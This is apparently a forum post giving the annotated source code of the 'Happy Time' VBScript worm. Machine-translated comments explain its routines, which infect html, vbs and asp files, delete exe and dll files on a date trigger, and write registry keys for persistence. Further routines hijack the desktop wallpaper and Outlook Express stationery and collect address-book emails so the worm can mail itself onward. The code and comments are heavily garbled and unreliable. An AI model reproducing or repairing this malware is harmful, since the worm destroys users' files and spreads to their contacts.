I don't say it. Look at it, about this virus, everyone should be ¥% ... # · This is the source code.
Happy Time Source '*************** Happy Time *************** Rem I am Sorry! Happy Time On Error Resume Next MLOAD' For the virus entrance, add the annotation of I am Sorry! Happy Time to indicate that this file has been infected.
Sub mload () on error resume next mpath = GRF () set OS = CreateObject ("scriptlet.typelib") set oh = createObject ("sh * ll .application") 'Establish an enumeration object to avoid security audit if iSHTML THEN 'calls the iSHTML function, if it is html, lowercase ... MURL = LCase (Document.Location) if mpath = "" "os.reset os.path =" c: /help.htm "os.doc = lhtml () Os.write () 'If the mpath is empty, it generates help.htm html = ""' hypocular content under the C: /Help.htm Call Document.Body.insertadjacenthtml ("afterbegin", IHTML () "R (" murl, len (m)) THEN IT (MURL, LEN (M)) THENT = setTimeout ("MClose) () ", 1) 'Set timeout conditions Main else os.reset () Os.path = mpath &" & "Help.hta" os.doc = lhtml () Os.Write () IV mpath, "Help. HTA "" Both Help.hta end if End if End if else main 'is not, the main function end if End sub' ************************** ****************************************** The following is the main function, Too long! Sub main () On Error Resume Next Set Of = CreateObject ( "Scripting.FileSystemObject") 'Needless to say, FileSystemObject object to create it Set Od = CreateObject ( "Scripting.Dictionary")' Create a Dictionary object, used to store data and key projects Yes, it is actually a relatively open array odd "html", "1100" odd "VBS", "0100" Od.Add "HTM", "1100" Od.Add "ASP", "0010 "'Add to Dictionary object to the project to be infected with Ks =" HKEY_CURRENT_USER / SOFTWARE / "' use variables to reduce code length DS = GRF () cs = GSF () if isvbs dam if it is VBS if.fileexists (" C : /Help.htm ") Then of.deletefile ("
C: / Help.htm ") If C: /Help.htm exists, delete, eliminate the legacy of the legs end if key = cint (Month (Date) day (date)) if key = 13 Then ' And the sum of the days is 13 (this is also a variant reason - change 13 to other numbers) Od.removeall Od.Add "EXE", "0001" Od.Add "DLL", "0001" ' Clear the Dictionary array and add the exe, DLL to the Dictionary object, in order to delete the use end if cn = rg (Ks & "Help / Count") 'read the hkey_current_user / software / help / count key value IF CN = "" THEN CN = 1 'If count is 0, set to 1 end if rw ks & "help / count", CN 1' Add HKEY_CURRENT_USER / SOFTWARE / HELP / COUNT key value, value is 2 f1 = rg (KS & "Help / filename") 'Re-read hkey_current_user / software / help / filename key value f2 = fnext (of, od, f1)' get file name fEXT = getExt (OD, OD, F2) 'get this file The code of the extension RW Ks & "Help / filename", F2 'add key value if isdel (fEXT) THEN' If the fourth character of the extension represents is 1-- ie 0001 (exe, dll) F3 = F2 'storage File name F2 = FNEXT (OF, OD, F2) 'Get file names of files? RW Ks & "Help / filename", F2' write registration table of.deletefile f3 'delete file else if lcase (wscript.scriptfullname) <> Lcase (f2) Then 'If not a collection of files FW of, F2, FEXT End End End (CN) MOD 366) = 0 THEN IF (CINT (SECOND (TIME)) MOD 2) = 0 THEN 'Enforce conversion using the CINT function, and send mail tsend else adds = = r = rg ("HKEY_CURRENT_USER / Control Panel / Desktop / Wallpaper") IF RG (KS & "Help / Wallpaper") < > wp or wp = "" The 'compares whether the desktop wallpaper has changed if WP = "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" " GetFileName (WP) N2 = of.GetBaseName (WP) N3 = CS & "& N2 &"
.htm "end if set pfc = of.createtextfile (n3, true) MT = sa (" 1100 ") 'Create a super text PFC.Write" <"&" html> <"&" body bgcolor =' # 007f7f 'background = '"& n1 &"'> <"&" / body> "&" / html> "& MT 'hypercurrent content PFC.Close RW KS &" HELP / WALLPAPER ", N3 RW" HKEY_CURRENT_USER / Control Panel / Desktop / Wallpaper ", N3 'Sets poisoned hypertext set to active desktop END IF ELSE SET FC = Of.CreateTextFile (DS &" / Help.vbs ", True) Fc.Write SA (" 0100 ")' creation VBS file fc.close bf = cs & "/untitled.htm" set fc2 = of.createtextfile (bf, true) fc2.write lhtml fc2.close 'Create Untitled.htm Oeid = RG under Windows ("HKEY_CURRENT_USER / IDENTIES / DEFAULT User ID ") OE =" HKEY_CURRENT_USER / Identities / "& Oeid &" / Software / Microsoft / Outlook E XPRESS / 5.0 / MAIL "MSH = OE &" / Message Send HTML "Cus = OE &" / Compose Usenessery " Sn = OE & "/ stationery" RW MSH, 1 rw Cus, 1 rw Sn, BF 'in HKEY_CURRENT_USER \IDentities {AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4} \Software \5.0\mail under Add three key values Message Send HTML, Compose Use Stationery, and Stationery Name, the first two values are 1, the latter pointing to Windows / Untitled.htm Web = CS & "/ Web" set gf = of.getfolder (web) .files' to get files in the Windows / Web folder Od.Add "htt", "1100" 'adds HTT project to Dictionary to speake each file under Windows / Web, FEXT = getExt (OF, OD, M)' gets the extension of each file IF FEXT <> "" "" "If the extension is not empty,
Then FW of, M, FEXT End IF next end if End sub '******************************************** ******************************* Sub mclose () document.write "<&" title> i am sol "!" Write I am Sorry and close.
Taking this as a marker for infection, WINDOW.CLOSE End Sub '******************************************************************************************************************* ******************************* SUB FW (of, s, n) 'This time S is the file name, n is the file Extended DIM FC, FC2, M, MMAIL, MT ON Error ResMe Next Set FC = Of.OpenTextFile (S, 1) read-only mode Open this file MT = fc.readall 'Read all file stream fc.close' Off Document if not sc (mt) Then 'If the mmail = ml (MT) MT = SA (N) set fc2 = of.opentextFile (s, 8)' opens the file and writes the Fc2.write MT at the end of the file Fc2.close msend (mmail) 'hair poison email end if End sub' ******************************************* ********************************** FUNCTION SC (S) Mn = "Rem I am Sorry! Happy Time" IF Instr (s, mn)> 0 THEN 'If there is a Rem i am Sorry! Happy Time sc = true else sc = false' in the read file stream, returning True, otherwise false end if end function '* *********************************************************** *************** FUNCTION FNEXT (OF, OD, S) DIM FPATH, FNAME, FEXT, T, GF ON ERROR RESUME NEXT FNAME = "" T = False 'Initialization Variable IF OF .Fileexists (s) then 'If the s exists in the current folder, fpath = of.getfile (s) .ParentFolder' Get the parent directory name fname = s' Get file name elseif butfolderexists (s) t HEN 'does not exist in the current folder, get the directory name fpath = s t = true else fpath = DNEXT (OF, "")' Get the current drive - the root directory endiff while true set gf = of. GetFolder (fpath) .files 'Get all file objects in the current directory for Each M in GF' Traversing Each File IF T Then IF GetExt (Of, OD, M) <> "" "If the file is in the file collection One member FNEXT = M 'returns the file name, for calling function or procedure - infected or deleted exit function end if elseif lcase (m) = lcase (fname) or fname = "" "If there is no file T = True end if next fpath =
PNEXT (OF, FPATH) 'loop end function' ********************************************************* ********************************** Function PNext (of, s) on Error ResMe Next Dim PPath, NPath, GP, PN, T, M T = false if ifyRexists (s) The 'If the specified folder exists in set gp = of.getfolder (s). Subfolders' gets the number of sub-direct records PN = gp.count if pn = 0 Then' If there is no child Directory PPath = LCase (s) 'npath = lcase (of.getParentFoldername (s))' Gets the lowercase form of the parent directory T = true else npath = lcase (s) 'has a subdirectory, get the collection END IF DO in its lowercase form While Not Er 'for Each Pn Ins Of.GetFolder (NPATH). Subfolders' Get Subfinder IF T Then IF PPath = Lcase (PN) THEN THEN THEN THEN THEN FALSE END IF ELSE PNEXT = LCASE (PN) EXIT FUNCTION END If Next T = True PPath = LCase (npath) 'Transforms strings into lowercase npath = of.getParentFoldername (npath)' IF of.getFolder (ppath) .srootfolder dam If it is the root directory m = of.getdriveName (PPATH) 'Get partitioned PNEXT = DNEXT (OF, M) EXIT FUNX IF f e i i = *********************************************** FUNCTION DNEXT (Of, S) DIM DC, N, D, T, M on Error ResMe next t = false m = "" SET DC = Of.drives 'Get all drive letter for Each D in DC' Traversing Each Drive IF D.DriveType = 2 or D.DriveType = 3 TEN 'If it is a network disk or this local disk if t the DNEXT = D exit function' If it is false, return to the current disk, and exit this function else if lcase (s) = lcase (d) If it is TRUE and the same is the same, the T is True T = True End if IF m = "" "If M is empty, the disk will be paid to M M = D end if end if End DNEXT = M 'Return Paper End Function' **************************************************** ************************* Function getExt (Of, OD, S) DIM FEXT IN ERROR RESUME NEXT FEXT =
LCASE (of.getextensionname (s)) 'Returns the file extension lowercase getExt = OD.ID.Id.item (fEXT) Returns the key corresponding to the KEY in the Dictionary object, etc. End Function' *** *********************************************************** ************* SUB RW (K, V) 'Write Registry DIM R On Error ResMe Next Set R = CreateObject ("WScript.sh * LL")' Create Object R.Regwrite K , v end sub '******************************************************* ********************* FUNCTION RG (V) 'Read Registry DIM R on Error Resume Next Set R = CreateObject ("wscript.sh * ll")' Create object rg = r.regread (v) end function '*********************************************************** ************************************** Function isvbs () 'This function is not a VBS file Dim errtest on Error Resume next errtest = WScript If an error is wrong, it is not VBS ISVBS = false else isvbs = true end if End function '************************************ ********************************************************* Function ISHTML () 'This function is determined if it is HTML file Dim errtest = document.location if er throte = Document.location If erns = false 'If an error is wrong, it is not a hypertext Else Ishtml = true end if end function' ***** *********************************************************** *********** Function ismail (s) 'This function is not a mail address DIM M1, M2 ismail = false if INSTR (S, VBCRLF) = 0 THEN' Returns VBCRLF in S The location of the appearance, VBCRLF is a newline M1 = INSTR (S, "@") M2 = INSTR (s, ".") IF m1 <> 0 and m1 Of.getspecialFolder (0) 'Get special directory - Windows, System and Temp Directory if er dam If it fails, return C: / GSF = "C: /" ELSE' Normal, return% windows% GSF = M end IF end function '***************************************************************************************************************************** ********************* FUNCTION LHTML () 'Write the content of hypertext, where VBCRLF is a newline LHTML = "<" & "HTML" & ">" <"&" Title> Help "<" & "Body>" & lscript (lvbs ()) & vbcrlf & _ <"&" / body> end function "************ *********************************************************** *** Function Lscript (s) 'Write VBScript Declaration LScript = "<" & "Script Language =' Vbscript '>" & VBCRLF & _ S & "&" & "Script" & "> End Function" *********************************************************** **************** Function SL (S1, S2, N) DIM L1, L2, L3, I L1 = LEN (S1) 'Getting the length of the file stream L2 = LEN (S2 ) 'Get MAILT length i = I = INSTR (S1, S2)' Finding MAILT's first appearance in the file stream - value is a number of IF i> 0 Then 'to find a string operation L3 = i L2 - 1 IF n = 0 THEN SL = Left (S1, I - 1) elseif n = 1 THEN SL = Right (S1, L1 - L3) end if else sl = "" "end if End function" ****** ************************************************ ************************** FUNCTION OG () 'Get the mail address DIM i, N, M (), om, om, om, om, om, om, om, om, = creteObject ("Outlook.Application") 'Create Outlook application objects, Outlook and Outlook Express can't run! Set om = ogetnamespace ("MAPI"). GetDefaultfolder (10) .Items n = om.count redim m (n) for i = 1 to n m (i - 1) = Omi · ^ (i) .Email1address Email address NEXT OG =
